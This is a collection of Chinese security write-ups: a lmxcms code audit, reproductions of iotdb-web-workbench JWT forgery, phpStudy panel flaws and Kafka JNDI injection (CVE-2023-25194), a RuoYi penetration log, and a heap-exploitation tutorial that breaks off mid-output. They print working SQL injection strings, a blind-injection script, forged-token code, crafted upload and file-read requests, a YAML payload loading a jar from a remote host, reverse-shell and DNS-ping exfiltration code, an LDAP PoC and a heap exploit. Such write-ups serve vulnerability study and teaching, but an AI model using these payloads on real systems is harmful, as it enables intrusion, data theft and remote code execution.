lmxcms代码审计学习
前言 最近学习php代码审计,lmxcms很适合去学习代码审计,因为比较简单。 环境搭建 源码下载地址http://www.lmxcms.com/phpstudy+phpstorm,apache2.4.39+MySQL5.7.26,php5.3.29 网站首页 后台管理 搭建成功 框架配置 入口文件 config.inc.php配置文件 run.inc.php 初始化文件 入口 在Action.class.php中找到调用方法的 可以看出m参数是类名前缀,开头大写,a参数是方法名 那么我就知道该框架处理请求的格式如下 http://127.0.0.1/lmxcms1.4/admin.php?m=xx类名&a=xx方法 后台SQL注入 在bookaction.class.php 在这里可以看到这个id是可控的,于是进入getReply函数里看看 发现这里执行了SQL语句 在后面写个echo$sql方便看 因为正常输入没回显,采取报错注入 admin.php?m=Book&a=reply&id=1) and updatexml(0,concat(0x7e,user()),1)--+ 前台SQL注入 TagsAction.class.php中 看不出来$data['name']的值是如何来的,查看的p的方法 可以看到type=2的时候为GET传递,说明我们可以控制这个参数,继续看能不能利用 查看getNameData的声明 查看oneModel 查看oneDB 接着在这上面写个echo $sql; /index.php/?m=Tags&name=1 会跳404,但echo 出来了sql语句,说明这个过程是有sql语句执行的 这个时候继续利用报错函数执行试试 ' and updatexml(0,concat(0x7e,user()),1) --+ 发现是空白,连报错都没有,其实仔细看之前common.php里,有filter_sql方法 但是这里写了一个url解码的函数,且这个语句执行是在sql语句过滤执行的后面,那么我尝试二次编码注入 执行成功,但在1.41版本的修复了这个漏洞 这里用代码对比下可以明显看出来 前台留言SQL注入 在前台留言这里 随便提交一个,提交成功并没有显示,进后台看看 需要审核才能显示 审查源码 在BookAction.class.php中,发现POST传setbook后会进入checkdata函数 里面是验证前台数据并且过滤了html代码并且有filter_sql 过滤了sql语句常用函数,在这里就不能用二次编码绕过了,因为这里没写url解码函数 查看addmodel 查看addDB 即使我们有二次注入的思路,但这个需要管理员审核才能看到回显 随便测试一个看看 在数据库中显示为 可以看出这个ischeck是判断是否显示在前台的,那么我们进行注入,把ischeck修改为1就可以回显在前端了 POST提交 setbook=1&name=1&content=1&time,ischeck)VALUES((select/**/version()),'1','','','127.0.0.1','1679301152','1')#=1 前台布尔盲注 searchaction.class.php serchmodel countModel countDB 在这里写入echo $sql;方便尝试注入 利用这些参数进行注入 可以利用tuijian这个参数注入,或者也可以用renmen看构造问题 SELECT count(1) FROM lmx_product_data WHERE time > 1647768137 ANDremen=1 AND (title like '%a%') ORDER BY id desc 执行如上sql语句,这里同样也进行了filter_sql函数过滤,且没有url编码不能向第一个那样二次编码绕过,具体可在p方法里找 index.php?m=search&a=index&keywords=a&mid=1&remen=1%20or%20(if(ascii(substr(database(),1,1))=0x6c,1,0))--+ GET/lmxcms1.4/index.php?m=search&keywords=b&mid=1&tuijian=id%20or%20(if(ascii(substr(database(),1,1))=0x6,1,0));%23 这里0x6c对应的是l 回显长度为8425,随便改个参数,返回包长度变为5403 用remen参数回显为8422 写一个简单的python脚本就可以测出值 import requests\flag=""\url="http://127.0.0.1/lmxcms1.4/index.php?m=search&a=index&keywords=a&mid=1&remen=1%20or%20(if(ascii(substr(database()&&&&,{},1))={},1,0))%23"\for i in range(1,7):\for j in range(65,122):\res=requests.get(url.format(i,hex(j)))\if len(res.text)>7000:\flag=flag+chr(j)\print(fla 任意文件读取&任意文件写入 文件读取函数freadfopenfilefile_get_contents搜索file_get_contents然后找file_get_contents函数和参数代码段, 在file.class.php getcon方法里 file_get_contents具有读取文件内容的功能,这里$path变量我们要看怎么来的,于是查看getcon的用法 在TemplateAction.class.php中调用了getcon 查看$dir变量怎么来的 该页面在admin目录下,那么进入后台根据页面名称传参调用尝试任意文件读取 lmxcms1.4/admin.php?m=Template&a=editfile 传$dir 还可以读取数据库文件 同样这里还可以进行任意文件写入 可以在这个页面直接进行修改或者写入 分别是文件名称跟内容,file_put_contents函数写入 任意文件删除 在BackdbAction.class.php中搜索unlink 这里看到filename可控,查看delone file/back下创建一个文件测试1.txthttp://localhost/lmxcms1.4/admin.php?m=backdb&a=delbackdb&filename=1.txt 通过../../实现任意文件删除 再次访问就需要安装了 命令执行 在admin/AcquisiAction.class.php中搜索eval 可以看出$eval函数的参数$temdata是$this->model->caijiDataOne($_GET['cid']);跟进 可以看出执行了sql语句,通过跟进ci_data_tab发现 查询的是cj_data表 在cj_data表中插入phpinfo(); lmxcms1.4/admin.php?m=Acquisi&a=showCjData&id=1&cid=1&lid=1 总结 这次是对phpmvc框架的审计的尝试,思路是从危险函数入手,寻找可控参数变量,尝试利用触发,白盒+黑盒一起尝试可能会效果更佳,感觉自己有好多地方不足,很多都是参考网上的或者别人的思路才能完成审计实现,希望能对大家有所帮助,不足之处希望大家能够批评指正。
Apache iotdb-web-workbench 认证绕过漏洞(CVE-2023-24829)
漏洞简介      影响版本 0.13.0 <= 漏洞版本 < 0.13.3   漏洞主要来自于 iotdb-web-workbench IoTDB-Workbench是IoTDB的可视化管理工具,可对IoTDB的数据进行增删改查、权限控制等,简化IoTDB的使用及学习成本。iotdb-web-workbench 中存在不正确的身份验证漏洞。 环境搭建   我们发现在 Releases 中已经删除到只剩最新版本,所以我们从 commits 中查找历史提交记录来搭建环境。         下载下历史版本的源码,下载之后利用 docker 搭建环境。   需要修改一下 docker-compose.yml 将其中挂载数据库文件修改为: volumes:      - ./backend/src/main/resources/sqlite/iotdb.db:/sqlite/iotdb.db     直接在根目录下执行 docker-compose up -d 虽然镜像编译成功,但是执行后一直启动不成功,通过 docker logs 查看日志信息。      发现后台的 jar 包没有编译成功拷贝到容器内,所以先进入 backend 执行 mvn package 编译 jar 。 默认情况下都是依赖于 aliyunmaven 但是很奇怪这次编译时会提示无法从 aliyun 中下载文件,所以将 maven 的 settings.xml 配置文件关于 aliyun 的相关依赖注释掉,就可以编译成功。   编译成功之后,再次执行发现了问题仍然存在,还是相同的错误类型。后来无论怎么修改 backend 目录下对应的 Dockerfile 文件,仍然无法成功。最后发现是因为没有修改根目录中的 docker-compose.yml ,下载的仍然是有问题的镜像,没有去调用编译本地的镜像。      进到 backend 目录下 修改 Dockerfile 文件 删除掉 "${JAVA_MEM_OPTS}"   执行 docker build -t test:v1 . 编译镜像。      编译之后,将 docker-compose.yml 中的 apache/iotdb-web-workbench:0.13.0-backend 替换为 test:v1   再执行 docker-compose up -d      访问 http://127.0.0.1:8081/#/login      环境如此就搭建好了,但是在实际中利用的话,还是建议不要使用 docker ,而是单独编译前端后端。 漏洞复现   构造数据包请求保存用户时      提示没有登录。   创建一个 java 项目: import io.jsonwebtoken.Jwts; import io.jsonwebtoken.SignatureAlgorithm; import java.util.Date; public class iotdb_CreateToken {    private static String secret =            "HSyJ0eXAiOiJKV1QasdfffffffSd3g8923402347523fffasdfasgwaegwaegawegawegawegawetwgewagagew"                    + "asdf23r23DEEasdfawef134t2fawt2g325gafasdfasdfiLCJhbGciOiJIUzI1NiJ9";    public static String generateToken(String username) {        Date now = new Date();        //   Calendar instance = Calendar.getInstance();        //   instance.add(Calendar.HOUR_OF_DAY, 24);        Date expireDate = new Date(new Date().getTime() + (1000 * 60 * 60 * 10));        return Jwts.builder()               .setHeaderParam("type", "JWT")               .setSubject(0 + "")               .setIssuedAt(now) // 签发时间               .claim("userId", 1)               .claim("name", username)               .setExpiration(expireDate) // 过期时间               .signWith(SignatureAlgorithm.HS512, secret)               .compact();   }    public static void main(String[] args) {        String token = generateToken("admin");        System.out.println(token);   } }      将生成的 Token 加入到之前的数据包中。      创建用户成功,尝试登录。 POST /api/login?name=test&password=123456 HTTP/1.1 Host: 127.0.0.1:8081 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/json Content-Length: 4 { }      登录成功。 漏洞分析    org.apache.iotdb.admin.filter.TokenFilter#preHandle      在 TokenFilter 中 JJwtTool.getClaimsByToken(authorization); 从请求头中获取 token 并解析匹配    org.apache.iotdb.admin.controller.UserController#login      我们发现 token 的来源是因为登录成功后会根据用户来生成 token JJwtTool.generateToken(user)    org.apache.iotdb.admin.tool.JJwtTool#generateToken      生成 Token 的相关参数均是可控的,所以我们可以自己构造。
小皮Windows web面板漏洞详解
漏洞简介   PhpStudy国内12年老牌公益软件,集安全、高效、功能与一体,已获得全球用户认可安装,运维也高效。 支持一键LAMP、LNMP、集群、监控、网站、数据库、FTP、软件中心、伪静态、云备份、SSL、多版本共存、Nginx反向代理、服务器防火墙、web防火墙、监控大屏等100多项服务器管理功能。小皮 Windows web 面板存在存储型 xss 漏洞,结合后台计划任务即可实现 RCE。 影响版本   因为我一边测试一边写文章,但是我发现下载下的新版本的已经添加了过滤,但是并没有更新日志。 环境搭建   从官网下载 小皮 windows 面板安装包   https://www.xp.cn/windows-panel.html         安装完成后会有一个初始信息文本,记录了小皮面板的登录地址以及账号密码。       漏洞复现 绕过随机码   我们注意到小皮面板后台默认开放在 9080 端口,后台登录 url 地址中会存在一个随机码,不添加随机码时返回信息为 404。      在程序中全局搜索和 404 相关的字样定位到 service/httpServer/Workerman/WebServer.php      当添加请求头 X-Requested-With: XMLHttpRequest 就可以绕过随机码。      ‍ 存储型 XSS   我们在用户登录处的用户名插入弹窗 XSS 代码 验证是否存在漏洞。 <script>alert("xss")</script>         利用正确的用户名密码登录查看。      我们发现成功的触发了存储型 xss。   我们查看登录时的数据包       service/app/account.php       \Account::login       \Socket::request      ‍   将信息保存起来,登录平台后会自动获取一次日志信息。       service/app/log.php      ‍ 后台计划任务   我们注意到后台有计划任务模块。      所以可以直接通过构造计划任务实现 RCE。   添加任务 -> 添加 shell 脚本 -> 构造 shell 脚本内容 -> 执行 shell 脚本      ‍                  成功执行命令。   结合原本的存储型 XSS,可以直接获取管理员的 Cookie 值然后实现后台计划任务命令执行,或者直接通过 js 文件实现类似 CSRF + 后台计划任务命令执行。 任意文件下载   构造数据包 GET /service/app/files.php?type=download&file=L3Rlc3QudHh0 HTTP/1.1 Host: 192.168.222.139:9080 Accept: application/json, text/javascript, */*; q=0.01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 X-Requested-With: XMLHttpRequest Referer: http://192.168.222.139:9080/C292CA Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211 Connection: close   file 的值是 base64 编码后的 /test.txt 成功读取文件内容。         service/app/files.php      文件下载通过 get 获取文件名,通过 base64 解码获取,没有校验,所以可以实现任意文件下载。 任意代码执行   构造数据包 POST /service/app/files.php?type=download_remote_file HTTP/1.1 Host: 192.168.222.139:9080 Accept: application/json, text/javascript, */*; q=0.01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 X-Requested-With: XMLHttpRequest Referer: http://192.168.222.139:9080/C292CA Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 95 url=aHR0cDovLzE5Mi4xNjguMjIyLjE6ODAwMC8xLnR4dA==&download_to_file_folder=&newfilename=testing.txt   url 是 base64 编码的 http://192.168.222.1:8000/1.txt python2 -m SimpleHTTPServer 8000   #在本地开启 http 服务             service/app/files.php      通过 url 获取远程的下载地址,download_to_file_folder 指定下载文件文件夹,newfilename 指定保存文件的文件名。 任意文件上传   构造数据包 POST /service/app/files.php?type=file_upload HTTP/1.1 Host: 192.168.222.139:9080 Accept: application/json, text/javascript, */*; q=0.01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 X-Requested-With: XMLHttpRequest Referer: http://192.168.222.139:9080/C292CA Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE0tFhmmng2vwxftT Content-Length: 288 ------WebKitFormBoundaryE0tFhmmng2vwxftT Content-Disposition: form-data; name="file_path" / ------WebKitFormBoundaryE0tFhmmng2vwxftT Content-Disposition: form-data; name="file"; filename="testing1.txt" Content-type: image/jpg qweqwe ------WebKitFormBoundaryE0tFhmmng2vwxftT--          service/app/files.php    任意文件上传二   构造数据包 POST /service/app/files.php?type=save_file_contents HTTP/1.1 Host: 192.168.222.139:9080 Accept: application/json, text/javascript, */*; q=0.01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 X-Requested-With: XMLHttpRequest Referer: http://192.168.222.139:9080/C292CA Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 58 file_path=/&file_name=test2.txt&txt_file_contents=qwerqwer          service/app/files.php      根据通过 post 传入的值 file_path 指定保存文件目录 file_name 指定文件保存名字 txt_file_contents 指定文件保存内容,未作任何过滤,可实现任意文件上传。 任意文件上传三   构造数据包 POST /service/app/databases.php?type=file_add HTTP/1.1 Host: 192.168.222.139:9080 Accept: application/json, text/javascript, */*; q=0.01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 X-Requested-With: XMLHttpRequest Referer: http://192.168.222.139:9080/C292CA Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE0tFhmmng2vwxftT Content-Length: 312 ------WebKitFormBoundaryE0tFhmmng2vwxftT Content-Disposition: form-data; name="parent_dir" ../../../../../../../../ ------WebKitFormBoundaryE0tFhmmng2vwxftT Content-Disposition: form-data; name="file"; filename="testing2.txt" Content-type: image/jpg qweqwe ------WebKitFormBoundaryE0tFhmmng2vwxftT--          service/app/databases.php    漏洞修复   在登录处添加了校验。      对传入的文件名的长度进行校验,同时对传入的字符串进行了 htmlspecialchars 处理。   ‍
记一次若依后台管理系统渗透
前言 最近客户开始hw前的风险排查,让我们帮他做个渗透测试,只给一个单位名称。通过前期的信息收集,发现了这个站点: 没有验证码,再加上这个图标,吸引了我注意: 从弱口令开始 若依默认口令为admin/admin123,结果真的直接进了。 管理员权限,直接上工具探测一下是否有若依的几个漏洞: 工具链接:https://github.com/thelostworldFree/Ruoyi-All 还得是运气啊!原本想着直接用这个工具一键穿的,但是奈何没利用过若依的洞,这个工具也不会使用。后续去查看了几篇文章,需要上传jar包,该漏洞可通过定时任务去调用执行jar包。 文章地址:https://blog.csdn.net/FY10033/article/details/126206890 然后坑来了。按照教程去实践,发现怎么样也无法执行漏洞。以下是java代码:  public AwesomeScriptEngineFactory() {\   try {\     Runtime.getRuntime().exec(\"net user test test@123 /add\");\     Runtime.getRuntime().exec(\"ping tttt.ogjxcqvtbf.dnstunnel.run\");\     Runtime.getRuntime().exec(\"ping  %USERNAME%.ogjxcqvtbf.dnstunnel.run\");\   }catch (IOException e) {\      e.printStackTrace();\    }\  } 还得从shiro入手 尝试了一下午后,想想算了,看看有没有别的洞吧。刚好文章里面有写到,ruoyi的shiro存在默认密钥,结果一尝试,还真的存在。(Ps:这边有个坑,我用文章里面提到的LiqunKit去尝试,无法执行命令。后续用了shiro_attack成功命令执行) 然后通过shiro写入内存马: 对内存马感兴趣的,可以看下这两篇文章: http://www.manongjc.com/detail/64-jmklbsfdbhdslrw.htmlhttps://blog.csdn.net/MachineGunJoe/article/details/118088350但是可惜,这是一台云主机,整个内网就一台主机。很多人可能看到esc,就不想再打了。不过我还是去翻了一下文件夹,把数据库账号也拉下来。 这个项目很奇怪,我找到的项目路径下全是jar包,我都怀疑这个是不是web目录。在基础信息里面找到了路径: catalina.home =C:\Users\Administrator\AppData\Local\Temp\2\tomcat.937421519914311975.808 但是进入该路径下,发现没文件,不知道是不是权限不够。 可以看到这边只限制127.0.0.1的ip访问,这就很尴尬,所以这边我使用ligolo代理3306出来,成功进行连接: 工具链接:https://github.com/FunnyWolf/ligolo 其实也尝试过添加用户,但是貌似被拦截了。原本想用哥斯拉的内存马进行一键提权的,但是不知道为什么,哥斯拉的内存马一直连接不上。有大佬懂的,还望不吝赐教。 再战定时任务 但是对于定时任务没复现出来,我还是很执着,通过查看其它大佬写的文章,发现了原来这个jar包的代码有问题,windows和linux的命令执行不一样,windows没办法直接通过exec执行,需要调用cmd进程进行执行。后续参考了这篇文章: https://www.cnblogs.com/BOHB-yunying/p/15661384.html配置完后,后台添加定时任务 org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://vpsip:8000/yaml-payload.jar"]]]]') Java部分源码: +-----------------------------------------------------------------------+| String host="ip"; || ||         int port = 6767; || ||         String cmd="cmd.exe"; || ||         Process p=new || ProcessBuilder(cmd).redirectErrorStream(true).start(); || ||         java.net.Socket s=new java.net.Socket(ho 然后通过以下命令编译并打包为jar包: +-----------------------------------------------------------------------+| javac src/artsploit/AwesomeScriptEngineFactory.java //编译java文件 || || jar -cvf yaml-payload.jar -C src/ . //打包jar包 |+=======================================================================++------------------------------------ 成功反弹shell到我vps上: 总结与思考 其实如果整片文章看下来,可能会觉得比较顺利,但是其实踩了很多坑,以下是我自己的总结,也和大家分享一下: 冰蝎多版本不支持shiro_attack生成的内存马,目前发现3.0Beta9版本修复版支持; 若依的定时任务java代码执行:Linux和windows的执行代码是不同的,windows需要调用cmd进程去执行,才导致一直测试不成功; 冰蝎自带的socks代理和数据库工具很难用,经常出现奇奇怪怪的问题。可以使用第三方工具。如ligolo,把数据库端口映射出来,再去访问登录。我就是用自带的数据库管理工具连不上,然后socks代理也连不上,才使用第三方工具的; netuser添加用户失败大概率是权限不足或者杀软拦截了。上线后可以先tasklist查看是否有杀软。其实就是和渗透前的信息收集一样,上线后也要收集一下当前服务器的信息; 遇到渗透的效果和自己预想的不一样的情况,要学会排查,猜测问题的原因。如我本次代理3306端口出来,一直去尝试账号密码登录,但是一直登录不上。排查了一圈,才发现当时为了安全起见,把我的代理端口限制IP访问了。
Apache Kafka JNDI注入(CVE-2023-25194)漏洞复现浅析
关于 Apache Kafka是一个开源的分布式事件流平台,被数千家公司用于高性能数据管道、流分析、数据集成和任务关键型应用程序。 影响版本 2.4.0<=Apache kafka<=3.2.2 环境搭建 满足影响版本的应该都可以,这里我是使用的版本为2.5.0 wget https://archive.apache.org/dist/kafka/2.5.0/kafka_2.13-2.5.0.tgz 直接解压 这里可以使用命令直接起起来,最新版的kafka是集成Zookeeper .\bin\windows\zookeeper-server-start.bat .\config\zookeeper.properties 但是报错了,可以自己安装zookeeper 下载地址 http://zookeeper.apache.org/releases.html这里配置文件其实可以补钙,实际上日志记录功能可选择不要,直接启动 服务端正常启动。 只要不报错即为正常启动 继续修改kafka配置文件server.properties文件,修改日志存放路径 命令启动 .\bin\windows\kafka-server-start.bat .\config\server.properties 测试kafa搭建是否存在问题 创建主题 .\bin\windows\kafka-topics.bat --create --bootstrap-server localhost:9092 --replication-factor 1 --partitions 1 --topic test111 查询主题 .\bin\windows\kafka-topics.bat --list --bootstrap-server localhost:9092 创建生产者 .\bin\windows\kafka-console-producer.bat --broker-list localhost:9092 --topic test111 创建消费者 .\bin\windows\kafka-console-consumer.bat --bootstrap-server localhost:9092 --topic test111 --from-beginning 消息收发没有问题,生产者输入信息之后消费者会自动消费。 启动connect .\bin\windows\connect-standalone.bat .\config\connect-standalone.properties .\config\connect-file-source.properties .\config\connect-file-sink.properties 因为牵涉到补图片,图片内的时间顺序可能不对,请忽略 访问 http://192.168.2.135:8083/connector-plugins这里是没有插件的,所以需要安装插件。这里要复现CVE-2023-25194,需要使用io.debezium.connector.mysql.MySqlConnector类,所以需要配置Debezium MySQL 连接器配置属性 安装Debezium https://debezium.io/releases/2.1/这里根据自己环境安装,比较友好的时不同的版本有介绍需要的java版本,因为我的java环境为1.8+的,所以这里我选择的版本比较老 在kafka的安装目录创建一个文件夹 存放debezium,修改kafka的配置文件 插件注意指向debezium的存放路径,重新启动,获取到插件,这里需要必坑的位置 1.java版本需要匹配kafka版本以及其他组件版本 2.配置文件需要修改,否则会报错。 kafka在连接Mysql时 数据需要同步到 Elasticsearch 具体的文章可以参考 https://my.oschina.net/u/4923278/blog/5007756安装mysql https://dev.mysql.com/downloads/installer/需要避坑的位置 结束 登录mysql数据库,设置允许外部连接 GRANT ALL ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION; GRANT ALL ON *.* TO ''@'%' IDENTIFIED BY 'root' WITH GRANT OPTION; set time_zone='+8:00'; show variables like '%time_zone%'; mysql需要开启配置 log_bin           = mysql-bin binlog_format     = ROW binlog_row_image  = FULL expire_logs_days  = 10 可参考 https://blog.csdn.net/wang972779876/article/details/120002546访问路径 http://192.168.2.135:8083/connector-plugins发现插件正常启动,参考的有复现的文章,说的时需要做时钟同步,但是在测试的时候发现其实时钟未做设置的时候也没有问题。 漏洞利用 POC如下: POST /connectors HTTP/1.1 Host: 192.168.2.135:8083 Content-Type: application/json Content-Length: 809 { "name": "mysql-connect", "config": { "connector.class": "io.debezium.connector.mysql.MySqlConnector", "database.hostname": "192.168.2.135", "database.port": "3306", "database.user": "root", "database.password": "root", "database.server.id": "316545017", "database.server.name": "test1", "database.history.kafka.bootstrap.servers": "192.168.2.135:9092", "database.history.kafka.topic": "quickstart-events",   "database.history.producer.security.protocol": "SASL_SSL",   "database.history.producer.sasl.mechanism": "PLAIN",   "database.history.producer.sasl.jaas.config": "com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://192.168.2.149:1389/rce\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";" } } 具体的参数的配置属性可以参考这篇文章 https://blog.csdn.net/weixin_43564627/article/details/118959829在利用的时候需要注意在使用name时,为连接器的名称,重复注册则会返回报错。 使用marshalsec-0.0.3-SNAPSHOT-all.jar起ldap服务 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.2.135:8888/#Calc 1389 发送POC 可以看到请求了恶意类 恶意类内容calc.java import java.lang.Runtime; public class Calc {    public Calc() throws Exception{        Runtime.getRuntime().exec("C:\Windwos\System32\cmd.exe ipconfg>C:\Users\Administrator\Desktop\2.txt");   } } 编译java javac calc.java 在8888端口起http服务 python -m http.server 8888 执行payload 漏洞原理 Apache Kafka Connect 是 Kafka 中用于和其他数据系统传输数据的服务,其独立运行版本可以在 Kafka 发布包中通过 bin/connect-standalone.sh 启动,默认会在 8083 端口开启 HTTP REST API 服务,可对连接器(Connector)的配置进行操作。 将连接器中的 Kafka 客户端 sasl.jaas.config 属性值设置为 com.sun.security.auth.module.JndiLoginModule(通过 producer.override.sasl.jaas.config, consumer.override.sasl.jaas.config 或 admin.override.sasl.jaas.config 属性进行配置)时,如果连接器连接到攻击者可控的 LDAP 服务器时容易受到反序列化攻击。
关于“堆”题的总体思路
浅说一下pwn堆,并用一个简单的例子具体说明,给刚入坑堆的小朋友说的一些思路。 堆是什么 堆,你可以看成一个结构体数组,然后数组里每个元素都会开辟一块内存来存储数据,那么这块用来存储数据的内存就是堆。 结构体数组在BSS段上,其内容就是堆的地址,也就是堆的指针。 堆的理解 堆有很多题型 什么堆溢出,off by null , uaf 等。 核心的话主要是学思想,所有人都知道我要得到shell,cat flag。但是要怎么去干得有个过程, 比如我们做栈题,很容易知道我要劫持栈的返回去执行任意地址,填入shellcode什么的。 堆的话也是一样。 就是用system去执行/bin/sh。越复杂的问题往往只需要很简单的道理。 所以堆到底要怎么去执行。 我们可以把某一个函数的内容改成system,下次调用该函数即是使用system, 再在别的堆里面放入/bin/sh字符串,然后再用刚刚修改的函数,使用已经放入字符串的堆。 即可执行system(/bin/sh)了 一般修改__free_hook,使其内容变成system然后再free掉放有/bin/sh的堆 举例说明 我用一个很简单的例子去一步一步简单剖析。 这里我用一个很简单的例子去一步一步简单剖析。 先给出源码和gcc编译,使用的是Ubuntu18 gcc -o lizi lizi.c#include<stdio.h> #include<stdlib.h> char *heap[0x20]; int num=0; void create() { if(num>=0x20) { puts("no more"); return; } int size; puts("how big"); scanf("%d",&size); heap[num]=(char *)malloc(size); num++; } void show(){  int idx;  char buf[4];  puts("idx");   (read(0, buf, 4));    idx = atoi(buf);  if (!heap[idx]) {    puts("no have things\n"); } else {    printf("Content:");    printf("%s",heap[idx]); } } void dele() {  int idx;  char buf[4];  puts("idx");   (read(0, buf, 4));    idx = atoi(buf);  if (!heap[idx]) {    puts("no have things\n"); } else { free(heap[idx]); heap[idx]=NULL; num--; } } void edit() {  int size;  int idx;  char buf[4];  puts("idx");   (read(0, buf, 4));    idx = atoi(buf);  if (!heap[idx]) {    puts("no have things\n"); } else { puts("how big u read"); scanf("%d",&size); puts("Content:"); read(0,heap[idx],size); } } void menu(void){ puts("1.create"); puts("2.dele"); puts("3.edit"); puts("4.show"); } void main() { int choice; while(1) { menu(); scanf("%d",&choice); switch(choice) { case 1:create();break; case 2:dele();break; case 3:edit();break; case 4:show();break; default:puts("error"); } } } 我们也不用ida了,直接源码分析,很明显在edit处能知道我们可以修改堆大小, 而导致的堆溢出修改下一个堆。 我们可以直接使用unsortedbin,申请较大的堆,再free掉,再申请个小堆, 使其从unsortedbin里面切割堆,这样,你申请的小堆就会有一些unsortedbin里面的东西。 (具体请看unsortedbin介绍) 结合exp介绍: from pwn import * r=process('./lizi') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') context.log_level='debug' def add(size): r.sendlineafter("4.show\n",'1') r.sendlineafter("idx\n",str(size)) def dele(idx): r.sendlineafter("4.show\n",'2') r.sendlineafter("idx\n",str(idx)) def edit(idx,size,con): r.sendlineafter("4.show\n",'3') r.sendlineafter("idx\n",str(idx)) r.sendlineafter("how big u read\n",str(size)) r.sendafter("Content:\n",con) def show(idx): r.sendlineafter("4.show\n",'4') r.sendlineafter("idx\n",str(idx)) add(0x420) add(0x420) add(0x420) dele(1) add(0x70) show(2) r.recvuntil("Content:") base=u64(r.recv(6)+'\x00'*2)-0x3ec090 print(hex(base)) free=base+libc.sym['__free_hook'] sys=base+libc.sym['system'] add(0x70) dele(3) edit(2,0x100,'a'*0x70+p64(0xa0)+p64(0xa1)+p64(free)) add(0x70) add(0x70) edit(3,0x10,"/bin/sh\x00") edit(4,0x10,p64(sys)) dele(3) r.interactive() 首先菜单不用多说,很简单的交互,写好就行 然后申请3个堆,为了保证能进入unsortedbin,得大于tcache的大小,然后free掉1号堆 unsortedbin all: 0x55ce36aa7aa0 —▸ 0x7f4f9036aca0 (main_arena+96) ◂— 0x55ce36aa7aa0 可以看到1号堆已经进入到unsortedbin了 然后申请一个小堆 pwndbg> x/32gx 0x55697b2cfaa0 0x55697b2cfaa0: 0x0000000000000000 0x0000000000000081 0x55697b2cfab0: 0x00007fb8eada6090 0x00007fb8eada6090 0x55697b2cfac0: 0x000055697b2cfaa0 0x000055697b2cfaa0 0x55697b2cfad0: 0x0000000000000000 0x0000000000000000 0x55697b2cfae0: 0x0000000000000000 0x0000000000000000 0x55697b2cfaf0: 0x0000000000000000 0x0000000000000000 0x55697b2cfb00: 0x0000000000000000 0x0000000000000000 0x55697b2cfb10: 0x0000000000000000 0x0000000000000000 0x55697b2cfb20: 0x0000000000000000 0x00000000000003b1 0x55697b2cfb30: 0x00007fb8eada5ca0 0x00007fb8eada5ca0 0x55697b2cfb40: 0x0000000000000000 0x0000000000000000 0x55697b2cfb50: 0x0000000000000000 0x0000000000000000 0x55697b2cfb60: 0x0000000000000000 0x0000000000000000 0x55697b2cfb70: 0x0000000000000000 0x0000000000000000 0x55697b2cfb80: 0x0000000000000000 0x0000000000000000 0x55697b2cfb90: 0x0000000000000000 0x0000000000000000 查看申请堆的地址可以发现,11行处是已经之前free掉的1号堆,这个申请的堆会在unsortedbin里面切割 然后会有残留地址,然后我们把他show出来就可以计算一波libc地址了。 算出system,__free_hook的libc, 接着为什么要多申请一个堆,这里就是堆溢出的打法了, 在刚刚申请的堆后面再建一个堆,然后通过free掉修改内容指向__free_hook地址 再把内容改成system就可以把free当做system用了; 在edit(2,0x100,'a'*0x70+p64(0xa0)+p64(0xa1)+p64(free))后面打个断点 GDB看看 pwndbg> bin tcachebins 0x80 [ 1]: 0x55f37c653b30 —▸ 0x7f4497d688e8 (__free_hook) ◂— ... fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x55f37c653ba0 —▸ 0x7f4497d66ca0 (main_arena+96) ◂— 0x55f37c653ba0 smallbins empty largebins empty 会发现tcache里面已经有__free_hook了,因为已经把内容改成__free_hook的地址了。 然后申请2个堆,把tcache里面的__free_hook拿出来。 你也可以验证一下、 pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA   0x55f37bb59000     0x55f37bb5a000 r-xp     1000 0 pwndbg> x/32gx 